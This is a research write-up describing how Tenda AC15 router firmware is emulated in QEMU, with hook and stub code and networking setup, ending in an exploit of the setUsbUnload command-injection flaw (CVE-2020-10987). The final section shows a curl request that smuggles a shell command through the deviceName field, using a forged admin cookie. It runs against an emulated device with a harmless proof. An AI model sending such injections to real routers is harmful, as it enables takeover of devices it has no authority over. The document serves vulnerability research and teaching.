This write-up shows exactly how I emulated the AC15 (V15.03.05.19) firmware’s webserver with QEMU, made it reachable from the host browser, and exercised the vulnerable /goform/setUsbUnload handler (CVE-2020-10987) to get command execution inside the emulated rootfs.
- Extract (or in our case obtain) the
squashfsfilesystem from the firmware image and start reversing - Build a Debian armhf guest running under qemu-system-arm
- Set up the guest’s networking and port-forwarding path to the emulated router
- Build our boot script
- Exploit the emulated router
First we need to get our firmware image. I was not able to find the image download for AC15 V15.03.05.19 however I was able to find a github repo with the already extracted squashfs filesystem.
If we were to have the correct image file we could extracted it using binwalk like so,
user@computer $ binwalk -e AC15_V15.03.05.19.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
64 0x40 TRX firmware header, little endian, image size: 6778880 bytes, CRC32: 0x80AD82D6, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x1A488C, rootfs offset: 0x0
92 0x5C LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4177792 bytes
1722572 0x1A48CC Squashfs filesystem, little endian, version 4.0, compression:xz, size: 5052332 bytes, 848 inodes, blocksize: 131072 bytes, created: 2017-04-19 16:18:08
user@computer $ cd _AC15_V15.03.05.19.bin.extracted
Since we don't have the correct image file but a repo with the already extracted filesystem, we can just clone the repo.
git clone https://github.com/lapinpt/Tenda-AC15-Firmware-V15.03.05.19-9061
I have made a directory called VR and cloned this repo inside it. My rootfs is at $HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs
Great now we have our AC15 V15.03.05.19 firmware. Lets move onto some reversing to see whats going on.
I will be using Ghidra 11.4.2 for my reversing.
Lets navigate to our target binary here rootfs/bin/httpd and load it in Ghidra.
If we go to the formsetUsbUnload function we can see,
uVar1 = FUN_0002bd4c(param_1,"deviceName",&DAT_000f4bdc);
doSystemCmd("cfm post netctrl %d?op=%d,string_info=%s",0x33,3,uVar1);
FUN_0002c6cc(param_1,"HTTP/1.0 200 OK\r\n\r\n");
FUN_0002c6cc(param_1,"{\"errCode\":0}");
FUN_0002cc14(param_1,200);
return;This is the vulnerability. The deviceName parameter is passed directly into doSystemCmd allowing us to send whatever commands we want.
Now since we are going to be rehosting this firmware using qemu and not the original router hardware, some programs are going to try to reach devices that aren't there and crash our startup.
Since our goal is to exploit the webserver (httpd) I only focused on rehosting that binary not the whole startup (/rootfs/etc_ro/init.d/rcS). In hindsight im not sure this was the right move
So when looking at rcS I wanted to find anything that rcS might do that httpd would need. Towards the end of the file we can see:
cfmd &
echo '' > /proc/sys/kernel/hotplug
udevd &
logserver &rcS starts cfmd in the background right before the rest of the stack spins up.
After some more research and looking at how the vulnerable function sends the command I came to the conclusion that,
httpdbuilds acfm post- Then the
cfmclient talks tocfmdover a UNIX domain socket (e.g./var/cfm_socket)
In the InitServer routine in cfmd we can see
unlink("/var/cfm_socket");
strncpy(sa_unix.sun_path, "/var/cfm_socket", ...);
bind(fd, (sockaddr*)&sa_unix, 0x6e);
listen(fd, 5);It creates a UIX socket and listens.
Overall how it works is the handler reads a fixed 0x7e0-byte frame from each client (RecvMsg/SendMsg). The first 4 bytes are a command code; then there’s a 512-byte key buffer and a 1500-byte value buffer (you can see the stack object sizes in the handler). It switches on the opcode and replies with an ACK code:
2-> Get:GetCfmValue(key, value)then reply code30-> Set:SetCfmValue(key, value)then reply code10x11-> Unset:UnSetCfmValue(key)then reply code0x1210-> Commit:SaveCfm2Flash()then reply0x10(OK) or0xB(error)
So in order to emulate cfmd I created a short script cfm_stub
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <errno.h>
#define SOCK_PATH "/var/cfm_socket"
// minimal UNIX-domain server that httpd expects.
// Replies with an IP string when it sees the key it asks for.
int main(void) {
int s = socket(AF_UNIX, SOCK_STREAM, 0);
struct sockaddr_un addr = {0};
if (s < 0) { perror("socket"); return 1; }
unlink(SOCK_PATH);
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, SOCK_PATH, sizeof(addr.sun_path)-1);
if (bind(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) { perror("bind"); return 1; }
if (listen(s, 5) < 0) { perror("listen"); return 1; }
for (;;) {
int c = accept(s, NULL, NULL);
if (c < 0) { if (errno==EINTR) continue; perror("accept"); break; }
char buf[1024]; ssize_t n = read(c, buf, sizeof(buf));
if (n > 0) {
// In some builds httpd asks for "lan.webiplansslen" etc.
// Any non-empty reply that looks like an IP keeps init happy.
const char *reply = "192.168.0.1";
write(c, reply, strlen(reply));
}
close(c);
}
close(s);
return 0;
}I will show how to compile this after the next part.
The next helper file is hooks.so. There are a few functions that are used in httpd and cfm that try to interact with non existent hardware.
The following is what our program assumes when starting up
- Flash + MTD partitions exist and are mountable.
- An NVRAM device exists (
/dev/nvram) and returns sane defaults. - Misc platform routines succeed (Layer-7 settings loader, RF power restore, etc.).
The following functions become an issue and therefore we have to patch with LD_PRELOAD=/hooks.so.
get_flash_type()-> if it returns4, the code takes a file-based path (cfm_file_init), otherwise it tries to talk to MTD (which we don’t have).get_cfm_blk_size_from_cache()(and or the variantj_get_cfm_blk_size_from_cache) is consulted for config block sizing.- Calls to Broadcom NVRAM shims (
bcm_nvram_get) must not fail or the stack assumes “NVRAM destroyed” and heads into restore/reboot logic. - Additional routines like
load_l7setting_file()andrestore_power()are expected to succeed but touch non-existent hardware/files.
Here is our hooks.c. Credit to azeria-labs for the original.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
#include <string.h>
int j_get_cfm_blk_size_from_cache(const int i) {
puts("j_get_cfm_blk_size_from_cache called....\n");
return 0x20000; // 128 KiB block — what the file path expects
}
int get_flash_type() {
puts("get_flash_type called....\n");
return 4; // force file-backed CFM init, not MTD
}
int load_l7setting_file() {
puts("load_l7setting_file called....\n");
return 1; // pretend Layer-7 settings loaded OK
}
int restore_power(int a, int b) {
puts("restore_power called....\n");
return 0; // success (don’t touch RF/power hardware)
}
char *bcm_nvram_get(char *key) {
char *value = NULL;
if (strcmp(key, "et0macaddr") == 0) {
value = strdup("DE:AD:BE:EF:CA:FE"); // any valid MAC works
}
if (strcmp(key, "sb/1/macaddr") == 0) {
value = strdup("DE:AD:BE:EF:CA:FD");
}
if (strcmp(key, "default_nvram") == 0) {
value = strdup("default_nvram"); // signals “nvram is OK”
}
printf("bcm_nvram_get(%s) == %s\n", key, value);
return value;
}Now lets compile these files and place them in our firmware. To cross compile we can use Bootlin’s prebuilt uClibc toolchain.
wget https://toolchains.bootlin.com/downloads/releases/toolchains/armv5-eabi/tarballs/armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
tar xjf armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
export PATH="$PWD/armv5-eabi--uclibc--stable-2020.08-1/bin:$PATH"
ls armv5-eabi--uclibc--stable-2020.08-1/bin | grep gccYou should see something like the following
arm-buildroot-linux-uclibcgnueabi-gcc
arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0
arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0.br_real
arm-buildroot-linux-uclibcgnueabi-gcc-ar
arm-buildroot-linux-uclibcgnueabi-gcc.br_real
arm-buildroot-linux-uclibcgnueabi-gcc-nm
arm-buildroot-linux-uclibcgnueabi-gcc-ranlib
arm-linux-gcc arm-linux-gcc-9.3.0
arm-linux-gcc-9.3.0.br_real
arm-linux-gcc-ar arm-linux-gcc.br_real
arm-linux-gcc-nm
arm-linux-gcc-ranlibNow we can compile with
arm-buildroot-linux-uclibcgnueabi-gcc -shared -fPIC -Os -ldl -Wl,-soname,hooks.so -o hooks.so hooks.c
arm-buildroot-linux-uclibcgnueabi-gcc -Os -s -o cfm_stub cfm_stub.cThen lastly install them into the firmware
$FIRM = "$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs"
install -m 0644 ./hooks.so "$FIRM/hooks.so"
install -D -m 0755 ./cfm_stub "$FIRM/usr/sbin/cfm_stub"
Lets set up our arm guest using qemu full system.
I created a directory to hold this guest system at ~/qsys
Now in this directory lets setup our guest by doing the following
sudo apt-get install -y qemu-system-arm qemu-utils debootstrap qemu-user-static binfmt-support
mkdir -p ~/qsys/rootfs-armhf
sudo debootstrap --arch=armhf --foreign bookworm ~/qsys/rootfs-armhf http://deb.debian.org/debian
sudo cp /usr/bin/qemu-arm-static ~/qsys/rootfs-armhf/usr/bin/
sudo chroot ~/qsys/rootfs-armhf /debootstrap/debootstrap --second-stage
cat | sudo tee ~/qsys/rootfs-armhf/etc/apt/sources.list >/dev/null <<'EOF'
deb http://deb.debian.org/debian bookworm main
EOF
sudo chroot ~/qsys/rootfs-armhf apt-get update
sudo chroot ~/qsys/rootfs-armhf apt-get install -y \
net-tools iproute2 iputils-ping python3 busybox-syslogd openssh-server \
ifupdown curl ca-certificates
sudo chroot ~/qsys/rootfs-armhf bash -lc 'echo "root:root" | chpasswd'This will create our armhf rootfs, update our guest, setup some base tools, then set our root username:password to root:root.
Next install the armhf kernal with
sudo chroot ~/qsys/rootfs-armhf apt-get install -y linux-image-armmpThen we copy out the kernal and build the ext4 image
mkdir -p ~/qsys/kernel
KVER=$(ls ~/qsys/rootfs-armhf/boot/vmlinuz-* | sed 's#.*/vmlinuz-##')
cp ~/qsys/rootfs-armhf/boot/vmlinuz-$KVER ~/qsys/kernel/zImage
cp ~/qsys/rootfs-armhf/usr/lib/linux-image-$KVER/vexpress-v2p-ca9.dtb ~/qsys/kernel/
dd if=/dev/zero of=~/qsys/armhf.ext4 bs=1M count=2048
mkfs.ext4 -F ~/qsys/armhf.ext4
sudo mount ~/qsys/armhf.ext4 /mnt
sudo rsync -aHAX ~/qsys/rootfs-armhf/ /mnt/
sudo umount /mntNow to start up our guest system
From ~/qsys run
qemu-system-arm \
-M vexpress-a9 -cpu cortex-a9 -m 512M \
-kernel ./kernel/zImage \
-dtb ./kernel/vexpress-v2p-ca9.dtb \
-initrd ./kernel/initrd.img \
-append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0" \
-nographic -audiodev none,id=noaudio \
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80 \
-device virtio-net-device,netdev=net0 \
-drive file=./armhf.ext4,if=sd,format=raw \
-fsdev local,id=fsdev0,path=$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs,security_model=none,readonly=on \
-device virtio-9p-device,fsdev=fsdev0,mount_tag=fwHeres a quick rundown of what these lines in the startup commnand actally mean.
-M vexpress-a9 -cpu cortex-a9 -m 512MUse the Versatile Express A9 board model (A board supported by debian's armmp kernal)-kernel/-dtb/-initrBoot the Debian kernel/initrd for this board, with the vexpress device-tree blob-append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0"Standard rootfs-on-SD setup with serial console on PL011.-nographic -audiodev none,id=noaudioSerial-only UI (no SDL window) and no audio.-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80QEMU user-mode NAT; forwardhost:2222toguest:22andhost:8080toguest:80. This is important for networking. Will talk about this more later.-device virtio-net-device,netdev=net0Attach a NIC to thenet0backend.-drive file=./armhf.ext4,if=sd,format=rawThe Debian rootfs lives on an SD-like block device (/dev/mmcblk0).-fsdev ... -device virtio-9p-device ... mount_tag=fwExpose the firmware rootfs (read-only) into the guest via 9p with tagfw. We’ll mount it at/firmwareand layer an overlayfs on top for writability.
Now inside the guest you might get a few errors. That is fine as long as you get to the log in prompt and can log in with root:root.
Next to get internet on our guest system run the following
dhclient -v eth0 || udhcpc -i eth0
This will get a DHCP lease on eth0
Now install socat
apt-get update && apt-get install -y socat
Next lets create our boot script inside the guest's root directory.
nano boot_tenda.shHere is our boot script /root/boot_tenda_sh inside our guest with comments explaining each step.
set -e
# bring the extracted firmware rootfs from the host into the guest
mkdir -p /firmware
mountpoint -q /firmware || mount -t 9p -o trans=virtio,version=9p2000.L fw /firmware
# we need writable places (/var/cfm_socket, /tmp, logs). Overlayfs gives a writable upperdir on top of the read-only firmware tree
# this creates an overlay at /firmware
for m in /mnt/fw/dev /mnt/fw/proc /mnt/fw/sys /mnt/fw; do umount -l "$m" 2>/dev/null || true; done
rm -rf /overlay_run
mkdir -p /overlay_run/upper /overlay_run/work /mnt/fw
mount -t overlay overlay \
-o lowerdir=/firmware,upperdir=/overlay_run/upper,workdir=/overlay_run/work \
/mnt/fw
# bind the usual pseudo filesystems
mount --bind /dev /mnt/fw/dev
mount --bind /proc /mnt/fw/proc
mount --bind /sys /mnt/fw/sys
mkdir -p /mnt/fw/var/log /mnt/fw/var/run /mnt/fw/tmp
# give the router its LAN IP (this is what httpd binds to)
# the router listens on the LAN IP; we create a dummy bridge with the same address so httpd binds exactly like the real device
ip link add br0 type dummy 2>/dev/null || true
ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0
ip link set br0 up
# /dev/log for components that try to log
pidof syslogd >/dev/null || syslogd
# copy UI like rcS does so the web UI files are in the served directory
chroot /mnt/fw /bin/sh -c 'mkdir -p /webroot; cp -r /webroot_ro/* /webroot/ 2>/dev/null || true'
# start the control socket server which httpd expects on boot. Without this httpd exits early
chroot /mnt/fw /bin/sh -c '/usr/sbin/cfm_stub >/var/log/cfm_stub.log 2>&1 &'
sleep 1
[ -S /overlay_run/upper/var/cfm_socket ] && echo "cfm socket up" || echo "no cfm socket"
# start the vulnerable webserver with hooks
chroot /mnt/fw /bin/sh -c 'export LD_LIBRARY_PATH=/lib:/usr/lib; LD_PRELOAD=/hooks.so /bin/httpd >/var/log/httpd.log 2>&1 &'
sleep 2
# relay traffic to complete path host:8080 -> guest:80 (socat) -> 192.168.0.1:80 (httpd)
# find the slirp IP on eth0
GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')
# forward guest:eth0:80 -> 192.168.0.1:80
if command -v socat >/dev/null; then
nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80 \
>/root/socat.log 2>&1 &
else
echo "socat not found"
fi
# show listeners
(ss -lntp || netstat -lntp) 2>/dev/null | grep -E '(:80\b|httpd)' || trueNow time to run it
chmod +x /root/boot_tenda.sh
/root/boot_tenda.sh
You should see a listener on port 80 with httpd
To further verify navigate to http://127.0.0.1:8080/ on your host and we can see the router's homepage.
If you want to learn more about how the networking works continue on reading if not you can skip to the last section where we exploit the webserver.
We needed to load the router's httpd inside the guest but make it reachable from the hosts browser at http://127.0.0.1:8080/ while the server still believes it’s bound to the router’s LAN IP (192.168.0.1).
There are three pieces that make this work:
- QEMU user networking (slirp) + hostfwd
- A dummy LAN interface in the guest (
br0at192.168.0.1) - A local TCP relay inside the guest (
socat)
We do this in the startup command when we specify
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80
-device virtio-net-device,netdev=net0-netdev user,...enables slirp (QEMU’s user-mode NAT): the guest gets outbound Internet (DHCP, DNS) without needing root bridges or TAP devices on the host.hostfwd=tcp::2222-:22forwards host port 2222 -> guest port 22.hostfwd=tcp::8080-:80forwards host port 8080 -> guest port 80.
Then we get the DHCP lease for eth0. Note that Slirp typically assigns the guest 10.0.2.15, with the gateway at 10.0.2.2.
dhclient -v eth0 || udhcpc -i eth0The real firmware expects to bind to the LAN bridge br0 at 192.168.0.1. We recreate that:
ip link add br0 type dummy 2>/dev/null || true
ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0
ip link set br0 up- The binaries (or their libraries) often query interface names (e.g.,
lan_ifname=br0) and expect a bridge device. - Binding httpd to
192.168.0.1keeps behavior/redirects (e.g.,302tohttp://192.168.0.1/main.html) identical to the real device. - At this point, httpd listens only on
192.168.0.1:80(not on the guest’seth0).
host:8080 -> guest:80 is already set up by QEMU. But httpd is not listening on the guest’s eth0:80; it listens on 192.168.0.1:80. So inside the guest we add a tiny TCP relay:
# find the slirp IP (usually 10.0.2.15)
GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')
# forward guest:eth0:80 → 192.168.0.1:80
nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80 \
>/root/socat.log 2>&1 &Here is the overall layout
Host browser (127.0.0.1:8080)
│
V
QEMU hostfwd:8080 → guest:80 (on eth0 @ 10.0.2.15)
│
V
socat in guest: 10.0.2.15:80 → 192.168.0.1:80
│
V
httpd bound at 192.168.0.1:80 (inside firmware chroot)
The web stack protects “goform” endpoints behind some same-origin/AJAX checks and a “logged in” cookie. Send the same headers the UI JavaScript would:
curl -v \
-H 'Host: 192.168.0.1' \
-H 'Origin: http://192.168.0.1' \
-H 'Referer: http://192.168.0.1/index.html' \
-H 'X-Requested-With: XMLHttpRequest' \
-H 'Cookie: user=admin; password=21232f297a57a5a743894a0e4a801fc3' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'deviceName=$(touch /tmp/Hello_World)' \
http://127.0.0.1:8080/goform/setUsbUnloadWhat does this do exactly?
Host/Origin/Referer/X-Requested-Withpasses the AJAX + same-origin checks in the handlerCookie: user=admin; password=<md5>simulates a logged-in session. In this case I usedmd5("admin") = 21232f297a57a5a743894a0e4a801fc3deviceName=$(touch /tmp/Hello_World)sets the device name to the command we want to run. In this case we are creating a file/tmp/Hello_WorldNote that running this command will hang for a while then mostly likely close the connection with an error. This is fine and proof it worked.
Next in the guest to further verify we can check for the existence of our new file
chroot /mnt/fw /bin/sh -c 'ls -l /tmp/Hello_World && echo "success it worked!"You should see
-rw-r--r-- 1 root root 0 ... /tmp/Hello_World
success it worked!
We successfully exploited our rehosted router by executing our sent command